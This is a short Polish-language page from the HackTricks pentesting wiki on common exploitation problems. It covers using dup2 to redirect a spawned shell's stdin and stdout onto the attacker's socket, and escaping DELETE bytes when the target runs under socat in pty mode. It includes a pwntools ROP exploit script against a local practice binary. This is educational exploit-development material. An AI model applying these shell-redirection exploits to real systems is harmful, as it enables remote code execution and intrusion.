1.7 KiB
Common Exploiting Problems
{{#include ../banners/hacktricks-training.md}}
FDs w Zdalnym Wykorzystaniu
Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje system('/bin/sh'), to zostanie on wykonany w procesie serwera, a /bin/sh będzie oczekiwał na dane wejściowe z stdin (FD: 0) i będzie wypisywał wyniki na stdout i stderr (FDs 1 i 2). Tak więc atakujący nie będzie mógł interagować z powłoką.
Sposobem na naprawienie tego jest założenie, że kiedy serwer został uruchomiony, utworzył FD numer 3 (do nasłuchiwania), a następnie twoje połączenie będzie w FD numer 4. Dlatego możliwe jest użycie syscall dup2 do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Zauważ, że socat już przesyła stdin i stdout do gniazda. Jednak tryb pty zawiera znaki DELETE. Więc, jeśli wyślesz \x7f ( DELETE -) to usunie poprzedni znak twojego exploita.
Aby to obejść, znak ucieczki \x16 musi być dodany przed każdym wysłanym \x7f.
Tutaj możesz znaleźć przykład tego zachowania.
{{#include ../banners/hacktricks-training.md}}